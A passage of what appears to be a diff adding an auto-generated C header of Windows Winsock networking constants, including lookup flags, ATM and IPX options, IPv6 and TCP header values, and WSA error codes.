0x4 +#define PFL_MATCHES_PROTOCOL_ZERO 0x8 +#define PFL_NETWORKDIRECT_PROVIDER 0x10 +#define XP1_CONNECTIONLESS 0x1 +#define XP1_GUARANTEED_DELIVERY 0x2 +#define XP1_GUARANTEED_ORDER 0x4 +#define XP1_MESSAGE_ORIENTED 0x8 +#define XP1_PSEUDO_STREAM 0x10 +#define XP1_GRACEFUL_CLOSE 0x20 +#define XP1_EXPEDITED_DATA 0x40 +#define XP1_CONNECT_DATA 0x80 +#define XP1_DISCONNECT_DATA 0x100 +#define XP1_SUPPORT_BROADCAST 0x200 +#define XP1_SUPPORT_MULTIPOINT 0x400 +#define XP1_MULTIPOINT_CONTROL_PLANE 0x800 +#define XP1_MULTIPOINT_DATA_PLANE 0x1000 +#define XP1_QOS_SUPPORTED 0x2000 +#define XP1_INTERRUPT 0x4000 +#define XP1_UNI_SEND 0x8000 +#define XP1_UNI_RECV 0x10000 +#define XP1_IFS_HANDLES 0x20000 +#define XP1_PARTIAL_MESSAGE 0x40000 +#define XP1_SAN_SUPPORT_SDP 0x80000 +#define BIGENDIAN 0x0 +#define LITTLEENDIAN 0x1 +#define SECURITY_PROTOCOL_NONE 0x0 +#define JL_SENDER_ONLY 0x1 +#define JL_RECEIVER_ONLY 0x2 +#define JL_BOTH 0x4 +#define WSA_FLAG_OVERLAPPED 0x1 +#define WSA_FLAG_MULTIPOINT_C_ROOT 0x2 +#define WSA_FLAG_MULTIPOINT_C_LEAF 0x4 +#define WSA_FLAG_MULTIPOINT_D_ROOT 0x8 +#define WSA_FLAG_MULTIPOINT_D_LEAF 0x10 +#define WSA_FLAG_ACCESS_SYSTEM_SECURITY 0x40 +#define WSA_FLAG_NO_HANDLE_INHERIT 0x80 +#define WSA_FLAG_REGISTERED_IO 0x100 +#define SIO_NSP_NOTIFY_CHANGE 0x88000019 +#define TH_NETDEV 0x1 +#define TH_TAPI 0x2 +#define SERVICE_MULTIPLE 0x1 +#define NS_LOCALNAME 0x13 +#define RES_UNUSED_1 0x1 +#define RES_FLUSH_CACHE 0x2 +// SKIPPED const SERVICE_TYPE_VALUE_IPXPORTA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_IPXPORTW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_OBJECTIDA: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_OBJECTIDW: non-integer constant +// SKIPPED const SERVICE_TYPE_VALUE_OBJECTID: non-integer constant +#define LUP_DEEP 0x1 +#define LUP_CONTAINERS 0x2 +#define LUP_NOCONTAINERS 0x4 +#define LUP_NEAREST 0x8 +#define LUP_RETURN_NAME 0x10 +#define LUP_RETURN_TYPE 0x20 +#define LUP_RETURN_VERSION 0x40 +#define LUP_RETURN_COMMENT 0x80 +#define LUP_RETURN_ADDR 0x100 +#define LUP_RETURN_BLOB 0x200 +#define LUP_RETURN_ALIASES 0x400 +#define LUP_RETURN_QUERY_STRING 0x800 +#define LUP_RETURN_ALL 0xff0 +#define LUP_RES_SERVICE 0x8000 +#define LUP_FLUSHCACHE 0x1000 +#define LUP_FLUSHPREVIOUS 0x2000 +#define LUP_NON_AUTHORITATIVE 0x4000 +#define LUP_SECURE 0x8000 +#define LUP_RETURN_PREFERRED_NAMES 0x10000 +#define LUP_DNS_ONLY 0x20000 +#define LUP_RETURN_RESPONSE_FLAGS 0x40000 +#define LUP_RESERVED_UNUSED 0x80000 +#define LUP_ADDRCONFIG 0x100000 +#define LUP_DUAL_ADDR 0x200000 +#define LUP_FILESERVER 0x400000 +#define LUP_DISABLE_IDN_ENCODING 0x800000 +#define LUP_API_ANSI 0x1000000 +#define LUP_EXTENDED_QUERYSET 0x2000000 +#define LUP_SECURE_WITH_FALLBACK 0x4000000 +#define LUP_EXCLUSIVE_CUSTOM_SERVERS 0x8000000 +#define LUP_REQUIRE_SECURE 0x10000000 +#define LUP_RETURN_TTL 0x20000000 +#define LUP_FORCE_CLEAR_TEXT 0x40000000 +#define LUP_RESOLUTION_HANDLE 0x80000000 +#define RESULT_IS_ALIAS 0x1 +#define RESULT_IS_ADDED 0x10 +#define RESULT_IS_CHANGED 0x20 +#define RESULT_IS_DELETED 0x40 +#define SOCK_NOTIFY_REGISTER_EVENT_NONE 0x0 +#define SOCK_NOTIFY_REGISTER_EVENT_IN 0x1 +#define SOCK_NOTIFY_REGISTER_EVENT_OUT 0x2 +#define SOCK_NOTIFY_REGISTER_EVENT_HANGUP 0x4 +#define SOCK_NOTIFY_EVENT_IN 0x1 +#define SOCK_NOTIFY_EVENT_OUT 0x2 +#define SOCK_NOTIFY_EVENT_HANGUP 0x4 +#define SOCK_NOTIFY_EVENT_ERR 0x40 +#define SOCK_NOTIFY_EVENT_REMOVE 0x80 +#define SOCK_NOTIFY_OP_NONE 0x0 +#define SOCK_NOTIFY_OP_ENABLE 0x1 +#define SOCK_NOTIFY_OP_DISABLE 0x2 +#define SOCK_NOTIFY_OP_REMOVE 0x4 +#define SOCK_NOTIFY_TRIGGER_ONESHOT 0x1 +#define SOCK_NOTIFY_TRIGGER_PERSISTENT 0x2 +#define SOCK_NOTIFY_TRIGGER_LEVEL 0x4 +#define SOCK_NOTIFY_TRIGGER_EDGE 0x8 +#define ATMPROTO_AALUSER 0x0 +#define ATMPROTO_AAL1 0x1 +#define ATMPROTO_AAL2 0x2 +#define ATMPROTO_AAL34 0x3 +#define ATMPROTO_AAL5 0x5 +#define SAP_FIELD_ABSENT 0xfffffffe +#define SAP_FIELD_ANY 0xffffffff +#define SAP_FIELD_ANY_AESA_SEL 0xfffffffa +#define SAP_FIELD_ANY_AESA_REST 0xfffffffb +#define ATM_E164 0x1 +#define ATM_NSAP 0x2 +#define ATM_AESA 0x2 +#define ATM_ADDR_SIZE 0x14 +#define BLLI_L2_ISO_1745 0x1 +#define BLLI_L2_Q921 0x2 +#define BLLI_L2_X25L 0x6 +#define BLLI_L2_X25M 0x7 +#define BLLI_L2_ELAPB 0x8 +#define BLLI_L2_HDLC_ARM 0x9 +#define BLLI_L2_HDLC_NRM 0xa +#define BLLI_L2_HDLC_ABM 0xb +#define BLLI_L2_LLC 0xc +#define BLLI_L2_X75 0xd +#define BLLI_L2_Q922 0xe +#define BLLI_L2_USER_SPECIFIED 0x10 +#define BLLI_L2_ISO_7776 0x11 +#define BLLI_L3_X25 0x6 +#define BLLI_L3_ISO_8208 0x7 +#define BLLI_L3_X223 0x8 +#define BLLI_L3_SIO_8473 0x9 +#define BLLI_L3_T70 0xa +#define BLLI_L3_ISO_TR9577 0xb +#define BLLI_L3_USER_SPECIFIED 0x10 +#define BLLI_L3_IPI_SNAP 0x80 +#define BLLI_L3_IPI_IP 0xcc +#define BHLI_ISO 0x0 +#define BHLI_UserSpecific 0x1 +#define BHLI_HighLayerProfile 0x2 +#define BHLI_VendorSpecificAppId 0x3 +#define AAL5_MODE_MESSAGE 0x1 +#define AAL5_MODE_STREAMING 0x2 +#define AAL5_SSCS_NULL 0x0 +#define AAL5_SSCS_SSCOP_ASSURED 0x1 +#define AAL5_SSCS_SSCOP_NON_ASSURED 0x2 +#define AAL5_SSCS_FRAME_RELAY 0x4 +#define BCOB_A 0x1 +#define BCOB_C 0x3 +#define BCOB_X 0x10 +#define TT_NOIND 0x0 +#define TT_CBR 0x4 +#define TT_VBR 0x8 +#define TR_NOIND 0x0 +#define TR_END_TO_END 0x1 +#define TR_NO_END_TO_END 0x2 +#define CLIP_NOT 0x0 +#define CLIP_SUS 0x20 +#define UP_P2P 0x0 +#define UP_P2MP 0x1 +#define BLLI_L2_MODE_NORMAL 0x40 +#define BLLI_L2_MODE_EXT 0x80 +#define BLLI_L3_MODE_NORMAL 0x40 +#define BLLI_L3_MODE_EXT 0x80 +#define BLLI_L3_PACKET_16 0x4 +#define BLLI_L3_PACKET_32 0x5 +#define BLLI_L3_PACKET_64 0x6 +#define BLLI_L3_PACKET_128 0x7 +#define BLLI_L3_PACKET_256 0x8 +#define BLLI_L3_PACKET_512 0x9 +#define BLLI_L3_PACKET_1024 0xa +#define BLLI_L3_PACKET_2048 0xb +#define BLLI_L3_PACKET_4096 0xc +#define PI_ALLOWED 0x0 +#define PI_RESTRICTED 0x40 +#define PI_NUMBER_NOT_AVAILABLE 0x80 +#define SI_USER_NOT_SCREENED 0x0 +#define SI_USER_PASSED 0x1 +#define SI_USER_FAILED 0x2 +#define SI_NETWORK 0x3 +#define CAUSE_LOC_USER 0x0 +#define CAUSE_LOC_PRIVATE_LOCAL 0x1 +#define CAUSE_LOC_PUBLIC_LOCAL 0x2 +#define CAUSE_LOC_TRANSIT_NETWORK 0x3 +#define CAUSE_LOC_PUBLIC_REMOTE 0x4 +#define CAUSE_LOC_PRIVATE_REMOTE 0x5 +#define CAUSE_LOC_INTERNATIONAL_NETWORK 0x7 +#define CAUSE_LOC_BEYOND_INTERWORKING 0xa +#define CAUSE_UNALLOCATED_NUMBER 0x1 +#define CAUSE_NO_ROUTE_TO_TRANSIT_NETWORK 0x2 +#define CAUSE_NO_ROUTE_TO_DESTINATION 0x3 +#define CAUSE_VPI_VCI_UNACCEPTABLE 0xa +#define CAUSE_NORMAL_CALL_CLEARING 0x10 +#define CAUSE_USER_BUSY 0x11 +#define CAUSE_NO_USER_RESPONDING 0x12 +#define CAUSE_CALL_REJECTED 0x15 +#define CAUSE_NUMBER_CHANGED 0x16 +#define CAUSE_USER_REJECTS_CLIR 0x17 +#define CAUSE_DESTINATION_OUT_OF_ORDER 0x1b +#define CAUSE_INVALID_NUMBER_FORMAT 0x1c +#define CAUSE_STATUS_ENQUIRY_RESPONSE 0x1e +#define CAUSE_NORMAL_UNSPECIFIED 0x1f +#define CAUSE_VPI_VCI_UNAVAILABLE 0x23 +#define CAUSE_NETWORK_OUT_OF_ORDER 0x26 +#define CAUSE_TEMPORARY_FAILURE 0x29 +#define CAUSE_ACCESS_INFORMAION_DISCARDED 0x2b +#define CAUSE_NO_VPI_VCI_AVAILABLE 0x2d +#define CAUSE_RESOURCE_UNAVAILABLE 0x2f +#define CAUSE_QOS_UNAVAILABLE 0x31 +#define CAUSE_USER_CELL_RATE_UNAVAILABLE 0x33 +#define CAUSE_BEARER_CAPABILITY_UNAUTHORIZED 0x39 +#define CAUSE_BEARER_CAPABILITY_UNAVAILABLE 0x3a +#define CAUSE_OPTION_UNAVAILABLE 0x3f +#define CAUSE_BEARER_CAPABILITY_UNIMPLEMENTED 0x41 +#define CAUSE_UNSUPPORTED_TRAFFIC_PARAMETERS 0x49 +#define CAUSE_INVALID_CALL_REFERENCE 0x51 +#define CAUSE_CHANNEL_NONEXISTENT 0x52 +#define CAUSE_INCOMPATIBLE_DESTINATION 0x58 +#define CAUSE_INVALID_ENDPOINT_REFERENCE 0x59 +#define CAUSE_INVALID_TRANSIT_NETWORK_SELECTION 0x5b +#define CAUSE_TOO_MANY_PENDING_ADD_PARTY 0x5c +#define CAUSE_AAL_PARAMETERS_UNSUPPORTED 0x5d +#define CAUSE_MANDATORY_IE_MISSING 0x60 +#define CAUSE_UNIMPLEMENTED_MESSAGE_TYPE 0x61 +#define CAUSE_UNIMPLEMENTED_IE 0x63 +#define CAUSE_INVALID_IE_CONTENTS 0x64 +#define CAUSE_INVALID_STATE_FOR_MESSAGE 0x65 +#define CAUSE_RECOVERY_ON_TIMEOUT 0x66 +#define CAUSE_INCORRECT_MESSAGE_LENGTH 0x68 +#define CAUSE_PROTOCOL_ERROR 0x6f +#define CAUSE_COND_UNKNOWN 0x0 +#define CAUSE_COND_PERMANENT 0x1 +#define CAUSE_COND_TRANSIENT 0x2 +#define CAUSE_REASON_USER 0x0 +#define CAUSE_REASON_IE_MISSING 0x4 +#define CAUSE_REASON_IE_INSUFFICIENT 0x8 +#define CAUSE_PU_PROVIDER 0x0 +#define CAUSE_PU_USER 0x8 +#define CAUSE_NA_NORMAL 0x0 +#define CAUSE_NA_ABNORMAL 0x4 +#define QOS_CLASS0 0x0 +#define QOS_CLASS1 0x1 +#define QOS_CLASS2 0x2 +#define QOS_CLASS3 0x3 +#define QOS_CLASS4 0x4 +#define TNS_TYPE_NATIONAL 0x40 +#define TNS_PLAN_CARRIER_ID_CODE 0x1 +#define SIO_GET_NUMBER_OF_ATM_DEVICES 0x50160001 +#define SIO_GET_ATM_ADDRESS 0xd0160002 +#define SIO_ASSOCIATE_PVC 0x90160003 +#define SIO_GET_ATM_CONNECTION_ID 0x50160004 +#define WSPDESCRIPTION_LEN 0xff +#define WSS_OPERATION_IN_PROGRESS 259 +#define LSP_SYSTEM 0x80000000 +#define LSP_INSPECTOR 0x1 +#define LSP_REDIRECTOR 0x2 +#define LSP_PROXY 0x4 +#define LSP_FIREWALL 0x8 +#define LSP_INBOUND_MODIFY 0x10 +#define LSP_OUTBOUND_MODIFY 0x20 +#define LSP_CRYPTO_COMPRESS 0x40 +#define LSP_LOCAL_CACHE 0x80 +#define UDP_NOCHECKSUM 1 +#define UDP_CHECKSUM_COVERAGE 20 +#define GAI_STRERROR_BUFFER_SIZE 0x400 +#define IPX_PTYPE 16384 +#define IPX_FILTERPTYPE 16385 +#define IPX_STOPFILTERPTYPE 16387 +#define IPX_DSTYPE 16386 +#define IPX_EXTENDED_ADDRESS 16388 +#define IPX_RECVHDR 16389 +#define IPX_MAXSIZE 16390 +#define IPX_ADDRESS 16391 +#define IPX_GETNETINFO 16392 +#define IPX_GETNETINFO_NORIP 16393 +#define IPX_SPXGETCONNECTIONSTATUS 16395 +#define IPX_ADDRESS_NOTIFY 16396 +#define IPX_MAX_ADAPTER_NUM 16397 +#define IPX_RERIPNETNUMBER 16398 +#define IPX_RECEIVE_BROADCAST 16399 +#define IPX_IMMEDIATESPXACK 16400 +#define MAX_MCAST_TTL 0xff +#define RM_OPTIONSBASE 1000 +#define RM_RATE_WINDOW_SIZE 1001 +#define RM_SET_MESSAGE_BOUNDARY 1002 +#define RM_FLUSHCACHE 1003 +#define RM_SENDER_WINDOW_ADVANCE_METHOD 1004 +#define RM_SENDER_STATISTICS 1005 +#define RM_LATEJOIN 1006 +#define RM_SET_SEND_IF 1007 +#define RM_ADD_RECEIVE_IF 1008 +#define RM_DEL_RECEIVE_IF 1009 +#define RM_SEND_WINDOW_ADV_RATE 1010 +#define RM_USE_FEC 1011 +#define RM_SET_MCAST_TTL 1012 +#define RM_RECEIVER_STATISTICS 1013 +#define RM_HIGH_SPEED_INTRANET_OPT 1014 +#define SENDER_DEFAULT_RATE_KBITS_PER_SEC 0x38 +#define SENDER_DEFAULT_WINDOW_ADV_PERCENTAGE 0xf +#define MAX_WINDOW_INCREMENT_PERCENTAGE 0x19 +#define SENDER_DEFAULT_LATE_JOINER_PERCENTAGE 0x0 +#define SENDER_MAX_LATE_JOINER_PERCENTAGE 0x4b +#define BITS_PER_BYTE 0x8 +#define LOG2_BITS_PER_BYTE 0x3 +#define UNIX_PATH_MAX 0x6c +#define SIO_AF_UNIX_GETPEERPID 0x58000100 +#define SIO_AF_UNIX_SETBINDPARENTPATH 0x98000101 +#define SIO_AF_UNIX_SETCONNPARENTPATH 0x98000102 +#define ISOPROTO_TP0 0x19 +#define ISOPROTO_TP1 0x1a +#define ISOPROTO_TP2 0x1b +#define ISOPROTO_TP3 0x1c +#define ISOPROTO_TP4 0x1d +#define ISOPROTO_TP 0x1d +#define ISOPROTO_CLTP 0x1e +#define ISOPROTO_CLNP 0x1f +#define ISOPROTO_X25 0x20 +#define ISOPROTO_INACT_NL 0x21 +#define ISOPROTO_ESIS 0x22 +#define ISOPROTO_INTRAISIS 0x23 +#define ISO_MAX_ADDR_LENGTH 0x40 +#define ISO_HIERARCHICAL 0x0 +#define ISO_NON_HIERARCHICAL 0x1 +#define ISO_EXP_DATA_USE 0x0 +#define ISO_EXP_DATA_NUSE 0x1 +#define NSPROTO_IPX 0x3e8 +#define NSPROTO_SPX 0x4e8 +#define NSPROTO_SPXII 0x4e9 +#define NETBIOS_NAME_LENGTH 0x10 +#define NETBIOS_UNIQUE_NAME 0x0 +#define NETBIOS_GROUP_NAME 0x1 +#define NETBIOS_TYPE_QUICK_UNIQUE 0x2 +#define NETBIOS_TYPE_QUICK_GROUP 0x3 +#define VNSPROTO_IPC 0x1 +#define VNSPROTO_RELIABLE_IPC 0x2 +#define VNSPROTO_SPP 0x3 +#define _LITTLE_ENDIAN 0x4d2 +#define _BIG_ENDIAN 0x10e1 +#define _PDP_ENDIAN 0xd54 +#define BYTE_ORDER 0x4d2 +#define DL_ADDRESS_LENGTH_MAXIMUM 0x20 +#define DL_HEADER_LENGTH_MAXIMUM 0x40 +#define SNAP_DSAP 0xaa +#define SNAP_SSAP 0xaa +#define SNAP_CONTROL 0x3 +#define SNAP_OUI 0x0 +#define ETH_LENGTH_OF_HEADER 0xe +#define ETH_LENGTH_OF_VLAN_HEADER 0x4 +#define ETH_LENGTH_OF_SNAP_HEADER 0x8 +#define ETHERNET_TYPE_MINIMUM 0x600 +#define ETHERNET_TYPE_IPV4 0x800 +#define ETHERNET_TYPE_ARP 0x806 +#define ETHERNET_TYPE_IPV6 0x86dd +#define ETHERNET_TYPE_802_1Q 0x8100 +#define ETHERNET_TYPE_802_1AD 0x88a8 +#define IP_VER_MASK 0xf0 +#define IPV4_VERSION 0x4 +#define MAX_IPV4_PACKET 0xffff +#define MAX_IPV4_HLEN 0x3c +#define IPV4_MINIMUM_MTU 0x240 +#define IPV4_MIN_MINIMUM_MTU 0x160 +#define IPV4_MAX_MINIMUM_MTU 0x240 +#define SIZEOF_IP_OPT_ROUTING_HEADER 0x3 +#define SIZEOF_IP_OPT_TIMESTAMP_HEADER 0x4 +#define SIZEOF_IP_OPT_SECURITY 0xb +#define SIZEOF_IP_OPT_STREAMIDENTIFIER 0x4 +#define SIZEOF_IP_OPT_ROUTERALERT 0x4 +#define IP4_OFF_MASK 0xff1f +#define ICMPV4_INVALID_PREFERENCE_LEVEL 0x80000000 +#define IGMP_QUERY_TYPE 0x11 +#define IGMP_VERSION1_REPORT_TYPE 0x12 +#define IGMP_VERSION2_REPORT_TYPE 0x16 +#define IGMP_LEAVE_GROUP_TYPE 0x17 +#define IGMP_VERSION3_REPORT_TYPE 0x22 +#define IPV6_VERSION 0x60 +#define IPV6_TRAFFIC_CLASS_MASK 0xc00f +#define IPV6_FULL_TRAFFIC_CLASS_MASK 0xf00f +#define IPV6_ECN_MASK 0x3000 +#define IPV6_FLOW_LABEL_MASK 0xffff0f00 +#define MAX_IPV6_PAYLOAD 0xffff +#define IPV6_ECN_SHIFT 0xc +#define IPV6_MINIMUM_MTU 0x500 +#define IP6F_OFF_MASK 0xf8ff +#define IP6F_RESERVED_MASK 0x600 +#define IP6F_MORE_FRAG 0x100 +#define EXT_LEN_UNIT 0x8 +#define IP6OPT_TYPE_SKIP 0x0 +#define IP6OPT_TYPE_DISCARD 0x40 +#define IP6OPT_TYPE_FORCEICMP 0x80 +#define IP6OPT_TYPE_ICMP 0xc0 +#define IP6OPT_MUTABLE 0x20 +#define ICMP6_DST_UNREACH_NOROUTE 0x0 +#define ICMP6_DST_UNREACH_ADMIN 0x1 +#define ICMP6_DST_UNREACH_BEYONDSCOPE 0x2 +#define ICMP6_DST_UNREACH_ADDR 0x3 +#define ICMP6_DST_UNREACH_NOPORT 0x4 +#define ICMP6_TIME_EXCEED_TRANSIT 0x0 +#define ICMP6_TIME_EXCEED_REASSEMBLY 0x1 +#define ICMP6_PARAMPROB_HEADER 0x0 +#define ICMP6_PARAMPROB_NEXTHEADER 0x1 +#define ICMP6_PARAMPROB_OPTION 0x2 +#define ICMP6_PARAMPROB_FIRSTFRAGMENT 0x3 +#define ICMPV6_ECHO_REQUEST_FLAG_REVERSE 0x1 +#define ND_RA_FLAG_MANAGED 0x80 +#define ND_RA_FLAG_OTHER 0x40 +#define ND_RA_FLAG_HOME_AGENT 0x20 +#define ND_RA_FLAG_PREFERENCE 0x18 +#define ND_NA_FLAG_ROUTER 0x80000000 +#define ND_NA_FLAG_SOLICITED 0x40000000 +#define ND_NA_FLAG_OVERRIDE 0x20000000 +#define ND_OPT_PI_FLAG_ONLINK 0x80 +#define ND_OPT_PI_FLAG_AUTO 0x40 +#define ND_OPT_PI_FLAG_ROUTER_ADDR 0x20 +#define ND_OPT_PI_FLAG_SITE_PREFIX 0x10 +#define ND_OPT_PI_FLAG_ROUTE 0x1 +#define ND_OPT_RI_FLAG_PREFERENCE 0x18 +#define ND_OPT_RDNSS_MIN_LEN 0x18 +#define ND_OPT_DNSSL_MIN_LEN 0x10 +#define IN6_EMBEDDEDV4_UOCTET_POSITION 0x8 +#define IN6_EMBEDDEDV4_BITS_IN_BYTE 0x8 +#define TH_MAX_LEN 0x3c +#define TH_FIN 0x1 +#define TH_SYN 0x2 +#define TH_RST 0x4 +#define TH_PSH 0x8 +#define TH_ACK 0x10 +#define TH_URG 0x20 +#define TH_ECE 0x40 +#define TH_CWR 0x80 +#define TH_OPT_EOL 0x0 +#define TH_OPT_NOP 0x1 +#define TH_OPT_MSS 0x2 +#define TH_OPT_WS 0x3 +#define TH_OPT_SACK_PERMITTED 0x4 +#define TH_OPT_SACK 0x5 +#define TH_OPT_TS 0x8 +#define TH_OPT_FASTOPEN 0x22 +// SKIPPED const NMR_REG_KEY_PATH: non-integer constant +#define INVALID_SOCKET -1 +#define WSA_INFINITE 0xffffffff +#define WSA_INVALID_EVENT 0 +#define IOC_INOUT 0xc0000000 +#define FIONREAD 1074030207 +#define FIONBIO -2147195266 +#define FIOASYNC -2147195267 +#define SIOCSHIWAT -2147192064 +#define SIOCGHIWAT 1074033409 +#define SIOCSLOWAT -2147192062 +#define SIOCGLOWAT 1074033411 +#define SIOCATMARK 1074033415 +#define INADDR_ANY 0x0 +#define INADDR_BROADCAST 0xffffffff +#define SO_DONTLINGER -129 +#define SO_EXCLUSIVEADDRUSE -5 +#define LM_HB_Extension 128 +#define LM_HB1_PnP 1 +#define LM_HB1_PDA_Palmtop 2 +#define LM_HB1_Computer 4 +#define LM_HB1_Printer 8 +#define LM_HB1_Modem 16 +#define LM_HB1_Fax 32 +#define LM_HB1_LANAccess 64 +#define LM_HB2_Telephony 1 +#define LM_HB2_FileServer 2 +#define IP_OPTION_TIMESTAMP_ONLY 0 +#define IP_OPTION_TIMESTAMP_ADDRESS 1 +#define IP_OPTION_TIMESTAMP_SPECIFIC_ADDRESS 3 +#define NetworkConnectivityLevelHintUnknown 0 +#define NetworkConnectivityLevelHintNone 1 +#define NetworkConnectivityLevelHintLocalAccess 2 +#define NetworkConnectivityLevelHintInternetAccess 3 +#define NetworkConnectivityLevelHintConstrainedInternetAccess 4 +#define NetworkConnectivityLevelHintHidden 5 +#define ND_OPT_PREF64_PREFIX_LENGTH_96 0 +#define ND_OPT_PREF64_PREFIX_LENGTH_64 1 +#define ND_OPT_PREF64_PREFIX_LENGTH_56 2 +#define ND_OPT_PREF64_PREFIX_LENGTH_48 3 +#define ND_OPT_PREF64_PREFIX_LENGTH_40 4 +#define ND_OPT_PREF64_PREFIX_LENGTH_32 5 +#define IP_PMTUDISC_NOT_SET 0 +#define IP_PMTUDISC_DO 1 +#define IP_PMTUDISC_DONT 2 +#define IP_PMTUDISC_PROBE 3 +#define IP_PMTUDISC_MAX 4 +#define RESOURCEDISPLAYTYPE_DOMAIN 0x1 +#define RESOURCEDISPLAYTYPE_FILE 0x4 +#define RESOURCEDISPLAYTYPE_GENERIC 0x0 +#define RESOURCEDISPLAYTYPE_GROUP 0x5 +#define RESOURCEDISPLAYTYPE_SERVER 0x2 +#define RESOURCEDISPLAYTYPE_SHARE 0x3 +#define RESOURCEDISPLAYTYPE_TREE 0xa +#define WsaBehaviorAll 0 +#define WsaBehaviorReceiveBuffering 1 +#define WsaBehaviorAutoTuning 2 +#define ARP_HW_ENET 1 +#define ARP_HW_802 6 +#define SERVICE_REGISTER 0x1 +#define SERVICE_DEREGISTER 0x2 +#define SERVICE_FLUSH 0x3 +#define SERVICE_ADD_TYPE 0x4 +#define SERVICE_DELETE_TYPE 0x5 +#define ND_OPT_SOURCE_LINKADDR 1 +#define ND_OPT_TARGET_LINKADDR 2 +#define ND_OPT_PREFIX_INFORMATION 3 +#define ND_OPT_REDIRECTED_HEADER 4 +#define ND_OPT_MTU 5 +#define ND_OPT_NBMA_SHORTCUT_LIMIT 6 +#define ND_OPT_ADVERTISEMENT_INTERVAL 7 +#define ND_OPT_HOME_AGENT_INFORMATION 8 +#define ND_OPT_SOURCE_ADDR_LIST 9 +#define ND_OPT_TARGET_ADDR_LIST 10 +#define ND_OPT_ROUTE_INFO 24 +#define ND_OPT_RDNSS 25 +#define ND_OPT_DNSSL 31 +#define ND_OPT_PREF64 38 +#define NlincCategoryUnknown 0 +#define NlincPublic 1 +#define NlincPrivate 2 +#define NlincDomainAuthenticated 3 +#define NlincCategoryStateMax 4 +#define RNRSERVICE_REGISTER 0 +#define RNRSERVICE_DEREGISTER 1 +#define RNRSERVICE_DELETE 2 +#define COMP_EQUAL 0 +#define COMP_NOTLESS 1 +#define IE_AALParameters 0 +#define IE_TrafficDescriptor 1 +#define IE_BroadbandBearerCapability 2 +#define IE_BHLI 3 +#define IE_BLLI 4 +#define IE_CalledPartyNumber 5 +#define IE_CalledPartySubaddress 6 +#define IE_CallingPartyNumber 7 +#define IE_CallingPartySubaddress 8 +#define IE_Cause 9 +#define IE_QOSClass 10 +#define IE_TransitNetworkSelection 11 +#define NldsInvalid 0 +#define NldsTentative 1 +#define NldsDuplicate 2 +#define NldsDeprecated 3 +#define NldsPreferred 4 +#define IpDadStateInvalid 0 +#define IpDadStateTentative 1 +#define IpDadStateDuplicate 2 +#define IpDadStateDeprecated 3 +#define IpDadStatePreferred 4 +#define IP6OPT_PAD1 0 +#define IP6OPT_PADN 1 +#define IP6OPT_TUNNEL_LIMIT 4 +#define IP6OPT_ROUTER_ALERT 5 +#define IP6OPT_JUMBO 194 +#define IP6OPT_NSAP_ADDR 195 +#define TUNNEL_SUB_TYPE_NONE 0 +#define TUNNEL_SUB_TYPE_CP 1 +#define TUNNEL_SUB_TYPE_IPTLS 2 +#define TUNNEL_SUB_TYPE_HA 3 +#define WSA_IO_PENDING 997 +#define WSA_IO_INCOMPLETE 996 +#define WSA_INVALID_HANDLE 6 +#define WSA_INVALID_PARAMETER 87 +#define WSA_NOT_ENOUGH_MEMORY 8 +#define WSA_OPERATION_ABORTED 995 +#define WSA_WAIT_EVENT_0 0 +#define WSA_WAIT_IO_COMPLETION 192 +#define WSABASEERR 10000 +#define WSAEINTR 10004 +#define WSAEBADF 10009 +#define WSAEACCES 10013 +#define WSAEFAULT 10014 +#define WSAEINVAL 10022 +#define WSAEMFILE 10024 +#define WSAEWOULDBLOCK 10035 +#define WSAEINPROGRESS 10036 +#define WSAEALREADY 10037 +#define WSAENOTSOCK 10038 +#define WSAEDESTADDRREQ 10039 +#define WSAEMSGSIZE 10040 +#define WSAEPROTOTYPE 10041 +#define WSAENOPROTOOPT 10042 +#define WSAEPROTONOSUPPORT 10043 +#define WSAESOCKTNOSUPPORT 10044 +#define WSAEOPNOTSUPP 10045 +#define WSAEPFNOSUPPORT 10046 +#define WSAEAFNOSUPPORT 10047 +#define WSAEADDRINUSE 10048 +#define WSAEADDRNOTAVAIL 10049 +#define WSAENETDOWN 10050 +#define WSAENETUNREACH 10051 +#define WSAENETRESET 10052 +#define WSAECONNABORTED 10053 +#define WSAECONNRESET 10054 +#define WSAENOBUFS 10055 +#define WSAEISCONN 10056 +#define WSAENOTCONN 10057 +#define WSAESHUTDOWN 10058 +#define WSAETOOMANYREFS 10059 +#define WSAETIMEDOUT 10060 +#define WSAECONNREFUSED 10061 +#define WSAELOOP 10062 +#define WSAENAMETOOLONG 10063 +#define WSAEHOSTDOWN 10064 +#define WSAEHOSTUNREACH 10065 +#define WSAENOTEMPTY 10066 +#define WSAEPROCLIM 10067 +#define WSAEUSERS 10068 +#define WSAEDQUOT 10069 +#define WSAESTALE 10070 +#define WSAEREMOTE 10071 +#define WSASYSNOTREADY 10091 +#define WSAVERNOTSUPPORTED 10092 +#define WSANOTINITIALISED 10093 +#define WSAEDISCON 10101 +#define WSAENOMORE 10102 +#define WSAECANCELLED 10103 +#define WSAEINVALIDPROCTABLE 10104 +#define WSAEINVALIDPROVIDER 10105 +#define WSAEPROVIDERFAILEDINIT 10106 +#define WSASYSCALLFAILURE 10107 +#define WSASERVICE_NOT_FOUND 10108 +#define WSATYPE_NOT_FOUND 10109 +#define WSA_E_NO_MORE 10110 +#define WSA_E_CANCELLED 10111 +#define WSAEREFUSED 10112 +#define WSAHOST_NOT_FOUND 11001 +#define WSATRY_AGAIN 11002 +#define WSANO_RECOVERY 11003 +#define WSANO_DATA 11004 +#define WSA_QOS_RECEIVERS 11005 +#define WSA_QOS_SENDERS 11006 +#define WSA_QOS_NO_SENDERS 11007 +#define WSA_QOS_NO_RECEIVERS 11008 +#define WSA_QOS_REQUEST_CONFIRMED 11009 +#define WSA_QOS_ADMISSION_FAILURE 11010 +#define WSA_QOS_POLICY_FAILURE 11011 +#define WSA_QOS_BAD_STYLE 11012 +#define WSA_QOS_BAD_OBJECT 11013 +#define WSA_QOS_TRAFFIC_CTRL_ERROR 11014 +#define WSA_QOS_GENERIC_ERROR 11015 +#define WSA_QOS_ESERVICETYPE 11016 +#define WSA_QOS_EFLOWSPEC 11017 +#define WSA_QOS_EPROVSPECBUF 11018 +#define WSA_QOS_EFILTERSTYLE 11019 +#define WSA_QOS_EFILTERTYPE 11020 +#define WSA_QOS_EFILTERCOUNT 11021 +#define WSA_QOS_EOBJLENGTH 11022 +#define WSA_QOS_EFLOWCOUNT 11023 +#define WSA_QOS_EUNKOWNPSOBJ 11024 +#define WSA_QOS_EPOLICYOBJ 11025 +#define 